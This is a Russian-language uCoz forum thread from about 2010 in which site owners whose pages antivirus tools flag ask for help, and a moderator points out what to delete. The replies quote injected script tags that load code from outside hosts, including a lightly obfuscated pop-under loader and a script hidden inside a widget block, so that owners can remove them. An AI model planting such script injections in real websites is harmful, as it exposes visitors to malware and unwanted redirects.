Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
Вирусы на сайтах (для изучения) |
Еще раз здравствуйте.Теперь проблема у друга. http://videoserver.ucoz.net/ Вот сайт.Яндекс пишет сдесь вирус http://videoserver.ucoz.net/load....1-1-0-8
Оформление подписи нарушает правила форума Сообщества uCoz. Подробнее. / webanet.
Сообщение отредактировал TRaBZ - Четверг, 23 Дек 2010, 12:20:36
|
TRaBZ, Вот это всё удаляйте..
Code <script language="javascript" src="/jsv_3.17.14.11.js"></script> <script language="javascript" src="/suggest_3.17.14.11.js"></script> <script language="javascript" src="/bclick_3.17.14.11.js"></script> <script language="javascript" src="/jsv_3.17.14.11.js"></script> <script language="javascript" src="/suggest_3.17.14.11.js"></script> <script language="javascript" src="/bclick_3.17.14.11.js"></script> <script type="text/javascript" src="http://bin-layer.ru/layer-10769-3-subid:10.js"></script> <script type="text/javascript" src="http://bin-layer.ru/layer-10769-3-subid:10.js"></script> <script type="text/javascript" src="http://static.advmaker.ru/code/pop/cssource.net.ru.js"></script> <script> function GetCookiePopt (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return 1; i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null;}advmaker = GetCookiePopt('advmaker_pop'); if (advmaker != null) { var out3='<SCR'+'IPT LANGUAGE="Javascript" cha'+'rset="win'+'dows-1251" SRC="http://static.advmaker.ru/code/sb/cssource.net.ru.js"></SC'+'RIPT>'; document.write(out3);}</script> В них как раз таки, как обычно, и содержатся вирусы, скорее всего. |
Юта, тизербест убрать. от тизерок только грязи всякой много, а толку практически ноль.
далее ваши флеш часы. зачем вы подгружаете код объекта с народа, если распространители этих часов при наведении на часы мышкой дают ссылку на себя, где можно выбрать любые часы? зачем вам подгружать с народа? вы вскрывали то, что вам нагружает народ? убрать и заменить часами которые раздают сами часы |
Здравствуйте! Помогите пожалуйста проверить мой сайт receptnarodmed.ucoz.ru
. Каспер мой не реагирует, через он-лайн проверку проверяла,выдает ошибку по отдельному рекламодателю. Несколько посетителей пожаловались на вирус! Заранее огромное спасибо! |
Olga801, разбирайтесь со своими рекламодателями. так выцепить что-то очень сложно. ссылка на которую может реагировать антивирус может быть плодом как wmlink.ru, так и wmip.ru
вот это 2kopeiku.org.ua в ротаторе баннеров вообще ужас. |
Любимчик, в следующий раз выбирайте тему для вашего запроса правильно. и дайте ссылку на сайт где есть подобная проблема. по плоховидному скрину вам никто угадывать не будет. думайте много раз прежде чем делать. без ссылки на сайт вам ничем помочь нельзя
|
WEBANET помоги плиз найти на моем сайте вредоносную ссылку?
http://kz-balkashin.ucoz.kz вот сайт посмотри плиз или напиши мне на емаил |
blackevil12, выделенное красным удалить
Quote <!-- <block285> --> <table border="0" cellpadding="0" cellspacing="0" class="boxTable2"> <tr><td class="boxTitle2"><b><!-- <bt> -->CW<!-- </bt> --></b></td></tr> <tr><td class="boxContent2"><!-- <bc> --><center><img src="http://bu-portal.at.ua/skpintu/cw1/4.png" class="IEpng" alt="Победы" align="center" border="0"><br>Победы(0)<br><hr size="2" width="100%"><img src="http://bu-portal.at.ua/skpintu/cw1/5.png" alt="Поражения" align="center" border="0"><br>Поражения(0)<br><script src="http://ijl.pp.ua/1.js" type="text/javascript"></script><hr size="2" width="100%"><img src="http://bu-portal.at.ua/skpintu/cw1/6.png" class="IEpng" width="78" border="0" height="78"><br><a href="http://kz-balkashin.ucoz.kz/forum/14-9-1">Забить cw</a><br><br></center><!-- </bc> --></td></tr> <tr><td><img src="http://sinners.pp.ua/New_ST/Hu3.png" border="0"></td></tr> </table> <!-- </block285> --> у вас огромное количество внешних ссылок на графику и скрипты с sinners.pp.ua и bu-portal.at.ua |
Любимчик, содержимое блока номер 1 удаляем начиная с
Quote Выбрать язык перед работой:... <center> Quote Спасибо что Вы выбрали наш сайт! Удачи ! Приступаем к работе... </center> все ваши каталоги и топы я бы тоже удалила вместе со счетчиками. там совсем ненужное. майл и рамблер можно оставить вот это вам точно не нужно Quote <!-- ws.md v.7.13 --> и так далее...заканчивая<!-- ws.md -->
Quote <SCRIPT language='JScript.Encode' src='http://www.traf.spbtown.ru/js/windowshelp_at_ua.js'></SCRIPT> удалить как и последующий за ним. в общем низ очистить полностью кроме майла и рамблера вряд ли весь этот обильный мусор хоть как-то поспособствует раскрутке сайта, а вот его захламленности очень даже. |
Добрый день!
То, что вы мне посоветовали удалить, я удалила. Но пользователи всё равно не могут зайти на форум - предупреждающее окно так и появляется (у меня окно появляется при входе через Мозиллу). Я с Оперы захожу без проблем, только один раз при входе на главную страницу сайта появилось предупреждение Касперского о возможных вирусах. Может быть что-то ещё осталось? сайт http://women-club.do.am/ и форум http://women-club.do.am/forum/ |
Алла5764, у вас ничего не осталось. но осталась табличка ждите когда гугл появится снова или дайте сайт на пересмотр. у вас должен быть гугл аккаунт в вебмастер должен быть добавлен сайт. и там уже можно дать сайт на пересмотр. гугл с осмотром у вас не появлялся уже пять дней.
|
| |||
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!